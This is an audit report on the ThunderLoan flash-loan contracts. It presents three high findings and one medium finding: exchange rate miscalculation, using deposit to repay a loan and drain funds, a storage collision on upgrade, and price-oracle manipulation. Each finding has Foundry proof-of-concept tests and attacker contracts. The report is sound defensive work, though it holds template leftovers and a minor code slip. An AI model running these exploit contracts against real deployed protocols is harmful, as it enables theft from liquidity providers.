Thunder Loan Audit Report

Version 1.0

Nihavent

January 31, 2024

Thunder Loan Report

Nihavent

Jan 31, 2024

Prepared by: [Nihavent] Lead Auditors: - xxxxxxx

Table of Contents

    * [H-3] Storage collision during upgrading contract swaps variable storage locations of `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

- Medium
    * [M-1] Using TSwap as a price oracle creates risk of price and oracle manipulation attacks. This can cause users to pay less fees on flashloans.

Protocol Summary

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings in this document correspond to the follwoing Commit Hash:

```
xxx
```

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: hA user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Total	4

Findings

High

[H-1] Erroneous `AssetToken::updateExchangeRate` call in `ThunderLoan::deposit` causes exchange rate to be incorrect resulting in liquidity providers being unable to withdraw funds.

Description In the ThunderLoan system, the `AssetToken::s_exchangeRate` is responsible for keeping track of the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of fees earned by completing flash loans.

The `ThunderLoan::deposit` function updates this rate, without collecting any fees.

```
1
2       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
3           AssetToken assetToken = s_tokenToAssetToken[token];
4           uint256 exchangeRate = assetToken.getExchangeRate();
5           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
6           emit Deposit(msg.sender, token, amount);
7           assetToken.mint(msg.sender, mintAmount);
8   @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9   @>      assetToken.updateExchangeRate(calculatedFee);
10          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
11      }
```

Impact

`ThunderLoan::redeem` is blocked because the protocol thinks more fees have been collected than in reality. It therefore attempts to issue the liquidity provider more funds than they're actually owed. For the last liquidity provider to call redeem, they won't be able to get all of their tokens.

Proof of Concept

1. LP deposits
2. User completes a flash loan
3. It is now impossible for LP to redeem

Place the following test into `ThunderLoanTest.t.sol`:

POC

```
    function testRedemptionAfterLoan() public setAllowedToken hasDeposits {
        //Perform a flash loan
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        console2.log("calculatedFee: ", calculatedFee);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        //Check the exchange rate
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        console2.log("asset.getExchangeRate():", asset.getExchangeRate());

        //Redeem funds
        uint256 amountToRedeem = type(uint256).max; // redeem all their funds
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation Remove the lines which incorrectly update the exchange rate in `ThunderLoan::deposit`

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
```

```
9           token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
10      }
```

[H-2] `ThunderLoan::deposit` can be used instead of `ThunderLoan::repay` to pay back a flash loan. This results in the loan-taker being issued assetTokens which can then be redeemed from the pool.

Description The `ThunderLoan::flashloan` function checks that a loan is paid back by reverting if the endingBalance of the `assetToken` contract is not greater than the starting balance plus the calculated fee:

```
1           uint256 endingBalance = token.balanceOf(address(assetToken));
2   @>      if (endingBalance < startingBalance + fee) {
3   @>          revert ThunderLoan__NotPaidBack(startingBalance + fee,
        endingBalance);
4           }
```

There is no check to ensure that the loan-taker repaid the loan using the intended function `ThunderLoan::repay`. When the loan-taker repays using the `ThunderLoan::deposit` function, they mint `assetToken` tokens which gives them a claim on the underlying asset:

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6   @>      assetToken.mint(msg.sender, mintAmount);
```

Impact Legitimate liquidity providers risk having their funds stolen by malicious users.

Proof of Concept

POC

Paste this function in the `ThunderLoanTest` contract:

```
1
2       function testUseDepositToRepayFlashLoanToStealFunds() public
            setAllowedToken hasDeposits {
3
4           uint256 amountToBorrow = 50e18;
5           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
6
```

```
        // create instance of DepositInsteadOfRepay (attacker)
        DepositInsteadOfRepay dior = new DepositInsteadOfRepay(address(
            thunderLoan));
        vm.startPrank(address(dior));
        tokenA.mint(address(dior), fee);

        // Take out flash loan
        thunderLoan.flashloan(address(dior), tokenA, amountToBorrow, ""
            );

        // Flash loan is paid back in executeOperation

        // Now redeem funds we deposited (which were actually the same
            funds as the flash loan)
        dior.redeemMoney();
        vm.stopPrank();

        //This interacts with another bug where calling deposit updates
            the exchange rate, so when we redeem we get more funds than
            we should
        assert(tokenA.balanceOf(address(dior)) >= 50e18 + fee);
    }
```

Paste this contract in the `ThunderLoanTest.t.sol` file:

```

contract DepositInsteadOfRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, //initiator,
        bytes calldata //params
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }
```

```
27
28      function redeemMoney() public {
29          uint256 amount = assetToken.balanceOf(address(this));
30          thunderLoan.redeem(s_token, amount);
31      }
32  }
```

Recommended Mitigation Possible mitigrations: 1. Add a check ensuring the flashloan has been repaid using the `ThunderLoan::repay` function 2. Do not allow an address to have a flash loan and call deposit at the same time

[H-3] Storage collision during upgrading contract swaps variable storage locations of `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description `ThunderLoan.sol` has two variables in the following order:

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order due to `s_flashLoanFee` being replaced by a `constant` variable:

```
1       uint256 private s_flashLoanFee;
2       uint256 public constant FEE_PRECISION = 1e18;
3
4       mapping(IERC20 token => bool currentlyFlashLoaning) private
            s_currentlyFlashLoaning;
```

Due to how Solodity storage works, after the upgrade, `s_currentlyFlashLoaning` will be in the storage slot of `s_flashLoanFee`.

Impact After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

In addition, the `s_currentlyFlashLoaning` mapping with storage will be in the wrong storage slot.

Proof of Concept

Paste the code into `ThunderLoanTest.t.sol`:

```
1   import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
        ThunderLoanUpgraded.sol";
2   .
3   .
4   .
5
```

```
    function testUpgradeStorageCollision() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();

        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("fee before: ", feeBeforeUpgrade);
        console2.log("fee after: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation

If you must remove the storage variable, leave a placeholder variable there.

```
-    uint256 private s_flashLoanFee;
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 s_blank;
+    uint256 private s_flashLoanFee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as a price oracle creates risk of price and oracle manipulation attacks. This can cause users to pay less fees on flashloans.

Description The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling large amounts of the token in the same transaction. Due to the fee calculation in `ThunderLoan::getCalculatedFee`, the fee is a function of the price of the token in the TSwapPool.

Impact Liquidity providers will earn significantly less fees for providing liquidity.

Proof of Concept

The following sequence of execution occurs in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 50 `tokenA`. They are charged the original fee. During the flash loan they do the following:

1. Swap 50 `tokenA` into the `TSwapPool`
2. Take out a second flashloan for another 50 `TokenA`. Due to the way `ThunderLoan` calculates fees based on the price of `TokenA` in `TSwapPool`, the second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (
           uint256) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).
               getPool(token);
3  @>      return ITSwapPool(swapPoolOfToken).
       getPriceOfOnePoolTokenInWeth();
4      }
```

3. The user repays the first flash loan, then repays the second flash loan.

POC

Paste this function in the `ThunderLoanTest` contract:

```
1
2      // This test requires more setup, we cannot use the basic mock
           contracts from TSwap
3      function testOracleManipulation() public {
4
5          // 1. Setup contracts
6          thunderLoan = new ThunderLoan();
7          weth = new ERC20Mock();
8          tokenA = new ERC20Mock();
9          proxy = new ERC1967Proxy(address(thunderLoan), "");
10
11         BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
               ;
12         // Create a TSwap pool between WETH/TokenA
13         address tSwapPool = pf.createPool(address(tokenA));
14
15         // Use the proxy address as the thunderLoan contract
16         thunderLoan = ThunderLoan(address(proxy));
17         thunderLoan.initialize(address(pf));
18
19         // 2. Fund TSwap
20         vm.startPrank(liquidityProvider);
21         tokenA.mint(liquidityProvider, 100e18);
22         tokenA.approve(tSwapPool, 100e18);
23
24         weth.mint(liquidityProvider, 100e18);
25         weth.approve(tSwapPool, 100e18);
26
27         // Ratio should be 100 weth & 100 TokenA
28         // Therefore price is 1:1
```

```
29          BuffMockTSwap(tSwapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
30          vm.stopPrank();
31
32          // 3. Fund ThunderLoan
33          vm.startPrank(thunderLoan.owner());
34          //console2.log(thunderLoan.owner());
35          thunderLoan.setAllowedToken(tokenA, true);
36          vm.stopPrank();
37
38          vm.startPrank(liquidityProvider);
39          tokenA.mint(liquidityProvider, 1000e18);
40          tokenA.approve(address(thunderLoan), 1000e18);
41          thunderLoan.deposit(tokenA, 1000e18);
42          vm.stopPrank();
43
44          // 4. Take out flash loan for 50 tokenA, swap it on the DEX (
                TSwapPool) to impact the price
45          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
46          console2.log("normalFeeCost: ", normalFeeCost);
47          // 0.296147410319118389
48
49          uint256 amountToBorrow = 50e18;
50          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (tSwapPool, address(thunderLoan), address(thunderLoan.
                getAssetFromToken(tokenA)));
51
52          vm.startPrank(user);
53          tokenA.mint(address(flr), 100e18); // mint flash loan user
                tokens to cover fees
54          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
55          vm.stopPrank();
56
57          uint256 attackFee = flr.loanFeeOne() + flr.loanFeeTwo();
58          console2.log("attackFee: ", attackFee);
59
60          assert(attackFee < normalFeeCost);
61      }
```

Paste this contract in the `ThunderLoanTest.t.sol` file:

```
1
2
3   contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
4
5       ThunderLoan thunderLoan;
6       BuffMockTSwap tSwapPool;
7       address repayAddress;
8       bool attacked;
```

```
9
10      uint256 public loanFeeOne;
11      uint256 public loanFeeTwo;
12
13      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
14          tSwapPool = BuffMockTSwap(_tswapPool);
15          thunderLoan = ThunderLoan(_thunderLoan);
16          repayAddress = _repayAddress;
17          attacked = false;
18      }
19
20      function executeOperation(
21          address token,
22          uint256 amount,
23          uint256 fee,
24          address, //initiator,
25          bytes calldata //params
26      )
27          external
28          returns (bool)
29      {
30          if (!attacked) {
31              loanFeeOne = fee;
32              attacked = true;
33
34              // Swap borrowed tokenA borrowed for WETH
35              uint256 wethBought = tSwapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
36              IERC20(token).approve(address(tSwapPool), 50e18);
37              tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
38              // n we want to validate that this user can swap this weth
                    back for tokenA after the second flash loan is taken out
                    !
39
40              // 5. Take out another flash loan for 50 tokenA and see how
                     much cheaper it is!
41              // Take out another flash loan to show difference in fees (
                    this will re enter this function however attacked will
                    be true)
42              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
43
44              // Repay - repay is currently bugged when repaying the
                    second flash loan, use a direct transfer instead
45              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
46              // thunderLoan.repay(IERC20(token), amount + fee);
47              IERC20(token).transfer(repayAddress, amount + fee);
48          }
```

```
49          else {
50              // Calculate fee
51              loanFeeTwo = fee;
52
53              // Repay - repay is currently bugged when repaying the
                    second flash loan, use a direct transfer instead
54              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
55              // thunderLoan.repay(IERC20(token), amount + fee);
56              IERC20(token).transfer(repayAddress, amount + fee);
57          }
58          return true;
59      }
60  }
```

Recommended Mitigation Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Alternatively, take fees as a % of the borrowed amount, in the token that was borrowed. This removes the dependancy on external price oracles.